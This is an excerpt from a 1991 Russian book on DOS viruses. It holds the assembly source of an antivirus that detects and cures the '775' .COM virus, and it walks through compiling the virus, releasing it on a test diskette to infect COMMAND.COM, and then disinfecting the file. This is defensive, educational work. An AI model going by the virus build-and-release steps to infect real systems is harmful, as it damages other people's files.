.8086 PAGE ,132 ;**************************************************************** ; ANTI775.ASM - program to find files infected by the "775" virus ; and to restore these files in their original state ;**************************************************************** CSEG segment assume cs:CSEG,ds:CSEG,es:CSEG org 100h START: mov SIG[10],0FFh ; Completes SIG string READ_PARAM: cmp byte ptr cs:[80h],0 je FIND_MODE ; If no parameters, "find" mode mov ax,ds mov es,ax cld mov al,'q' ; 'q' - "find & cure mode" (MODE=1) mov ch,0 mov cl,cs:[80h] ; Length of UPA (from PSP) mov di,81h ; Offset of UPA (from PSP) repne scasb je CURE_MODE FIND_MODE: mov MODE,0 jmp ALLOC_MEM CURE_MODE: mov MODE,1 ALLOC_MEM: mov ax,ds mov es,ax mov bx,1100h ; Reallocate 68 К bytes mov ah,4Ah int 21h jnc ALLOCATED NOT_ALLOCATED: lea dx,NO_MEM mov ah,09h int 21h ; Print a message jmp TO_DOS NO_MEM db 10,13,'Insufficient memory to run ANTI775',10,13,'$' ALLOCATED: lea ax,LBL mov cl,4 shr ax,cl inc ax mov bx,ds add ax,bx mov FSEG,ax ; Segment of program in memory FIND_FIRST: lea dx,FMASK ; Mask of file name mov cx,00100111b ; arc,dir,voL,sys,hid,r/o mov ah,4Eh int 21h jnc STORE_FNAME jmp EXIT FIND_NEXT: mov bx,HANDLE mov ah,3Eh int 21h ; Close previous file mov HANDLE,0FFFFh ; Note that file was closed mov ah,4Fh int 21h ; Find next file jnc STORE_FNAME jmp EXIT STORE_FNAME: mov bx,0 NEXT_SYM: mov al,byte ptr cs:[bx+9Eh] mov FNAME[bx],al cmp byte ptr cs:[bx+9Eh],0 je SET_ATTRIB inc bx cmp bx,13 jng NEXT_SYM jmp ERR SET_ATTRIB: lea dx,FNAME mov cx,00100000b ; arc,dir,vol,sys,hid,r/o mov ax,4301h int 21h ; Set file attributes jnc READ_HANDLE jmp ERR READ_HANDLE: lea dx,FNAME mov ax,3D02h ; Read/wite mode int 21h ; Open a file (handle is in ax) jnc READ_FLEN jmp ERR READ_FLEN: mov HANDLE,ax ; Store handle number mov cx,0 mov dx,0 ; NULL seek position in cx:dx mov bx,HANDLE mov ax,4202h ; Get program length in dx:ax int 21h mov FLEN,ax cmp dx,0 je SET_FSTART mov FLEN,0FFFEh SET_FSTART: mov bx,HANDLE mov cx,0 mov dx,0 mov ax,4200h int 21h ; Set seek pointer to start of file READ_FILE: mov bx,HANDLE mov cx,FLEN mov dx,0 cmp FLEN,8001h ; If length of file < 32769, jb READ_REST ; Read file in one step mov cx,8000h push ds mov dx,0 mov ax,FSEG mov ds,ax mov ah,3Fh int 21h ; Read 32768 bytes from file to buffer pop ds mov cx,FLEN mov dx,8000h sub cx,8000h ; Prepare to read the rest of the file READ_REST: mov bx,HANDLE ; bx = HANDLE push ds mov ax,FSEG mov ds,ax ; ds:dx - buffer address mov ah,3Fh int 21h ; Read and store entire file pop ds jne CHECK_SIG jmp ERR CHECK_SIG: mov ax,FSEG mov es,ax mov di,0 ; es:di - address of COM. file cld mov cx,FLEN sub cx,SIGL mov al,0FFh ; al = FF (hexadecimal) NEXT_FF: repne scasb je FOUND_FF NO_FF: jmp FIND_NEXT FOUND_FF: push cx ; Store counter for next 0FFh search push di ; Store di for next 0FFh search dec di ; es:di - address of 0FFh found mov SIGO,di ; Store offset of 0FFh found lea si,SIG ; ds:si - address of SIG string mov cx,SIGL ; cx - Length of SIG string repe cmpsb ; Compare SIG with string in file je FOUND_SIG pop di ; Restore di for next 0FFh dearch pop cx ; Restore counter for next OFFh search jmp NEXT_FF FOUND_SIG: inc FILES ; Count infected files lea dx,WARNING mov ah,09h int 21h ; Print warning message BLANK: mov cx,12 ; Width of file name field mov bx,0 REP32: mov FNAME[bx],32 inc bx loop REP32 ; Fill field with spaces cmp MODE,1 ; Was there 'q' in command line? je CURE jmp FIND_NEXT ; Do not cure! WARNING db 10,13,'File ' FNAME db 12 dup (32),0 ; File name ASCIIZ string db ' is infected by the 775 virus',10,13,'$' CURE: mov bx,SIGO ; SIGO - offset of virus signature add bx,SIGO3 ; SIGO3 - 3 bytes relative to SIG mov al,byte ptr es:[bx] ; es:bx - address of original 3 bytes mov byte ptr es:[0],al mov al,byte ptr es:[bx+1] mov byte ptr es:[1],al mov al,byte ptr es:[bx+2] mov byte ptr es:[2],al ; Three bytes were restored mov bx,SIGFL add bx,SIGO mov ax,word ptr es:[bx] ; Store old Length of file to be cured mov FLENOLD,ax SAVE_FILE: mov cx,0 mov dx,0 ; dx:cx - position of seek pointer (0) mov bx,HANDLE mov ax,4200h int 21h ; Set seek pointer to start of file mov cx,FLENOLD mov bx,HANDLE push ds mov ax,FSEG mov ds,ax mov dx,0 ; ds:dx - address of file in memory mov ah,40h int 21h ; Write cured file to disk CUT_FILE: mov cx,0 mov ah,40h int 21h ; Cut file to new length pop ds lea dx,CURED mov ah,09h int 21h ; Print "Cured" message jmp FIND_NEXT CURED db 'File was successfuly cured...',10,13,'$' ERR: lea dx,NOMORE mov ah,09h int 21h mov al,2 ; Return code 2 (Error, no files found) jmp TO_DOS NOMORE db 10,13,'Can not find infected .COM files...',10,13,'$' EXIT: cmp FILES,0 je NOFILES FNUM_OUT: mov al,FILES add al,30h mov ah,0Eh int 10h ; Print number of files (0-9) lea dx,MSGC cmp MODE,1 ; If MODE=1, mode is "cure" je MSGCF lea dx,MSGF MSGCF: mov ah,09h int 21h ; Print 'File(s) cured' message mov al,1 ; Return code 1 (found infected files) jmp TO_DOS MSGC db ' File(s) cured',10,13,'$' MSGF db ' Filets) infected',10,13,'S' NOFILES: lea dx,GOODBY mov ah,09h int 21h mov al,0 ; Return code 0 (Ho files infected) jmp TO_DOS GOODBY db 10,13,'No infected files found...',10,13,'$' TO_DOS: cmp HANDLE,0FFFFh je TERMINATE CLOSE_FILE: mov bx,HANDLE mov ah,3Eh int 21h TERMINATE: ; Free allocated memory mov ah,4Ch int 21h ; Terminate program (al - return code) MODE db 0 ; 0 - find, 1 - find & cure FILES db 0 ; Number of infected files SIG db 0FFh,080h,03Eh,0DEh,002h,024h,075h,003h,0E9h,021h db 0 ; Virus signature (last byte) SIGL equ $-SIG ; Length of SIG string SIGO dw (?) ; Offset of SIG in file SIGO3 dw 0BAh ; Offset of old 3 bytes relative to SIG SIGFL dw 0B1h ; Offset of old file length relative to SIG FMASK db '*.COM',0h ; File name mask FLEN dw (?) ; Current length af tested file FLENOLD dw (?) ; Old length of file to be cured HANDLE dw 0FFFFh ; File handle number ATTRIB db (?) ; File attribute FSEG dw (?) ; Segment to store file LBL db '$' ; Security label CSEG ends end START
Было бы нечестно по отношению к читателю, потратившему столько внимания и усилий при прочтении первых трех глав нашей книги, если бы мы не показали наши программы в действии (насколько это вообще возможно в отсутствие компьютера).
Вероятно, для неискушенных пользователей стоит кратко рассказать о процессе создания исполняемых программ из наших текстов на языке ассемблера. Пусть программа-вирус записана в файл с именем VIRUS775.ASM, а программа-антивирус записана в файл ANTI775.ASM. Покажем на примере первой из этих программ процесс трансляции ассемблерного текста и создания .COM-файла.
Прежде всего, скопируем файл VIRUS775.ASM в тот каталог, где у нас находится пакет программ ассемблера. Теперь в ответ на системный запрос DOS подадим команду masm virus775.asm и правильно ответим на все вопросы ассемблера. При этом на экране дисплея результаты работы ассемблера отразятся следующим образом.
C:\MASM.50\>masm virus775.asm Microsoft (R) Macro Assembler Version 5.00 Copyright (C) Microsoft Corp 1981-1985, 1987. All rights reserved. Object filename [virus775.OBJ]: Source listing [NUL.LST]: virus775.lst Cross-reference [NUL.CRF]: 50666 + 314342 Bytes symbol space free 0 Warning Errors 0 Severe Errors
Мы получили два необходимых нам файла: VIRUS.OBJ (объектный модуль) и VIRUS775.LST (листинг программы VIRUS775.ASM, приведенный в предыдущей главе. Теперь пора дать работу редактору связей (компоновщику).
С:\MASM.50\>link virus775.obj Microsoft (R) Overlay Linker Version 3.60 Copyright (C) Microsoft Corp 1983-1987. All rights reserved. Run File [VIRUS775.EXE]: List File [NUL.MAP]: Libraries [.LIB]: LINK : warning L4021: no stack segment
Результатом работы редактора связей, или, как его еще называют, компоновщика, является файл VIRUS775.EXE.
Наконец, для получения перемещаемого двоичного файла VIRUS775.COM необходимо "обработать" файл VIRUS775.EXE с помощью программы exe2bin:
C:\MASM.50\>exe2bin virus775.exe virus775.com
Теперь скопируем все файлы с именем VIRUS775 в подкаталог C:\VIRUS и посмотрим, что у нас получилось в результате всех описанных операций.
C:\VIRUS\>dir Volume in drive C is COMPILERS Directory of C:\VIRUS VIRUS775 ASM 4418 6-24-91 9:18p VIHUS775 LSI 12132 7-08-91 5:56p VIHUS775 OBJ 928 7-08-91 5:56p VIRUS775 EXE 1543 7-08-91 5:56p VIRUS775 COM 775 7-08-91 5:56p 5 Files(s) 7632896 bytes free
Аналогичным образом, повторив все описанные шаги для файла ANTI775.ASM, получим перемещаемый двоичный файл ANTI775.COM.
Итак, мы воспользовались имеющимся под рукой ассемблером, затем программой exe2bin и получили две программы: virus775.com и anti775.com. Первая имеет длину 775 байт, а вторая (если Вы не вносили в нее своих изменений) - 840 байт.
Теперь можно начать самое интересное - проверку созданных нами программ в действии. Чтобы не заставлять беспокоиться ту часть наших читателей, которые имеют слабые нервы, мы будем проводить наши эксперименты с вирусом на отдельной дискете. Для этого создадим на ней подкаталог с именем VIRUS и скопируем туда три файла: VIRUS775.COM, ANTI775.СОМ и COMMAND.COM. Подадим команду dir и запомним размеры указанных файлов.
A:\VIRUS>dir Volume in drive A is TEST Directory of A:\VIRUS . <DIR> 6-24-91 9:10p .. <DIR> 6-24-91 9:10p V1RUS775 COM 775 6-24-91 9:18p ANTI775 COM 840 6-24-91 9:25p COMMAND COM 25308 8-29-88 12:00p 5 file(s) 624704 bytes free Выпускаем вирус на свободу при помощи программы VIRUS775.COM. A:VIRUS\>virus775 Hallo! I have got a virus for you! A:\VIRUS\>
Как видим, вирус "сработал". Данное сообщение он выдает только в том случае, если заражает какой-либо файл, Проверим, действительно ли это COMMAND.COM.
A:\VIRUS>dir Volume in drive A is TEST Directory of A:\VIRUS . <DIR> 6-24-91 9:10p .. <DIR> 6-24-91 9:10p V1RUS775 COM 775 6-24-91 9:18p ANTI775 COM 840 6-24-91 9:25p COMMAND COM 26071 6-24-91 9:43p 5 file(s) 624704 bytes free
Как видим, длина файла COMMAND.COM увеличилась с 25308 до 26071 байт (т.е. на 763 байта). Визуальный просмотр "хвоста" файла, например, с помощью программ NU или DISKEDIT показывает, что в конце файла COMMAND.COM появилась строка, которой наш вирус "пугает" пользователей. Теперь, если запускать зараженный COMMAND.COM, он будет заражать по очереди все программы, которые находятся в текущем каталоге, и каждый раз при этом будет выдавать пугающее сообщение. Если же подходящих программ не окажется, вирус будет "молчать".
Для начала запустим программу anti775.com без параметров, чтобы она лишь сообщила о зараженном файле, но не "лечила" его (напомним, что этот режим используется в программе anti775.com по умолчанию).
A:\VIRUS>anti775 File COMMAND.COM is infected by the 775 virus 1 File(s) infected A:\>
Как видим, все в порядке: вирус найден, и правильно указан файл, содержащий его сигнатуру, COMMAHD.COM. Здесь сработала та часть антивируса, которую мы назвали детектором.
Запустим программу anti775.com с параметром /q. Теперь антивирус должен не только найти зараженный файл, но и "вылечить" его.
A:\>anti775 /q File COMMAND.COM is infected by the 775 virus File was successfuly cured... 1 File(s) cured A:\>
Судя по выданному сообщению, COMMAND.COM успешно восстановлен. Проверим, как изменилась его длина.
C:\VlRUS\>dir Volume in drive C is COMPILERS Directory of C:\VIRUS <DIR> 6-24-91 9:10p <DIR> 6-24-91 9:10p VIRUS775 COM 775 6-24-91 9:18p ANTI775 СОМ 840 6-24-91 9:25р COMMAND СОМ 25308 6-26-91 10:08р 5 File(s) 7624704 bytes free
Длина вылеченного файла COMMAND.COM совпадает с его исходной длиной (до заражения вирусом). Последней проверкой может служить выполнение команды сравнения вылеченного файла COMMAND.COM и аналогичного файла в корневом каталоге диска C: - проведем эту проверку.
A:\VIRUS\>comp command.com c:\command.com A:\VIRUS\COMMAND.COM and C:\COMMAND.COM Eof mark not found Files compare ok Compare more files (Y/N) n
Итак, мы можем принимать поздравления. Наш антивирус не только обнаруживает сигнатуру вируса в зараженном файле и сообщает об этом пользователю, но по нашему требованию восстанавливает зараженный файл, да так, что восстановленный файл не отличается от исходного "здорового" файла!
В заключение хочется обратить внимание читателей на весьма широкие возможности для модификаций и улучшений антивирусной программы (да и вируса, разумеется, тоже). Например, ни вирус, ни антивирус не проверяют, действительно ли заражаемый (зараженный) файл является файлом типа .COM, а не .EXE. Ведь DOS различает эти файлы не по расширению, по "подписи" .EXE-файла, т.е. по двум первые байтам (в файле типа .EXE должна стоять пара символов ASCII "MZ"). Однако совершенствовать и улучшать любой программный продукт можно до бесконечности, нашей же задачей являлось продемонстрировать лишь специфические черты технологии создания файловых .COM-вирусов и антивирусов (детекторов и фагов).
Война вирусов и антивирусов - это борьба их создателей. К сожалению, создатели вирусов всегда имеют пренмущество во времени. Однако не стоит теряться и падать духом. Если не пренебрегать правилами вирусной безопасности и не перенасыщать безо всякой системы и проверки Ваш винчестер играми и другими программами с сомнительным происхождением, можно вполне выйти из этой борьбы если не победителем, то уж во всяком случае без существенных потерь. Например, у автора этой книги, который чуть ли не каждую неделю борется с вирусами, проникающими в компьютеры его друзей, за два последних года в результате применения системы мер безопасности не было замечено (тьфу-тьфу!) ни одного вируса. А если вирус все же появится, нужно быть во всеоружии. Именно на то, чтобы дать читателю в руки такое оружие или хотя бы познакомить с тем, как оно куется, и нацелена данная книга.
Удачи!
Хижняк: П.Л. Пишем вирус и... антивирус. / Под общей редакцией И.М.Овсянниковой. - М: ИНТО, 1991. - 90 с. В книге описаны методы создания эффективных антивирусных программ-детекторов и фагов. С этой целью рассмотрены принципы функционирования некоторых типов вирусов и приведен ассемблерный текст простейшего COM-вмруса с подробным рассказом о фазах создания вируса и о работе отдельных его частей. Приведен также текст антивирусной программы- детектора и фага для данного конкретного вируса. Подробно описан процесс создания программы- антивируса, показана практическая работа вируса и антивируса в среде MS DOS для IBM PC совместимых компьютеров. В конце книги дана краткая аннотация ряда публикаций по вирусам н антивирусам. Книга рассчитана на программистов различных уровней подготовки и на пользователей IBM-совместимых компьютеров. © Хижняк П.Л., 1991 Ответственный редактор Овсянникова И.М. Оригинал-макет подготовил Хижняк П.Л. Литературная редакция Хижняк П.Л. Художник Ратнер Е.Ю. ISBN 5-86028-011-4
П.Л. Хижняк ВИРУСЫ И АНТИВИРУСЫ Редактор И. М. Овсянникова Художник А.Ф.Гламаздин Технический редактор Т.Г.Иванова Подписано в печать 25.5.91. Формат 60x90 1/16. Бумага кн.-журн. Гарнитура «Таймс». Печать офсетная. усл. печ. л. 6. Уч.-изд. л. Тираж 100 000 экз. (1 завод 50тыс.). Заказ 4226 Отпускная цена издательства 6 руб. ИНТО, 103012, Москва, Хрустальный пер. д. 1 пом. 89. Отпечатано в 12 Центральной типографии МО СССР.[Вернуться к списку] [Комментарии (0)]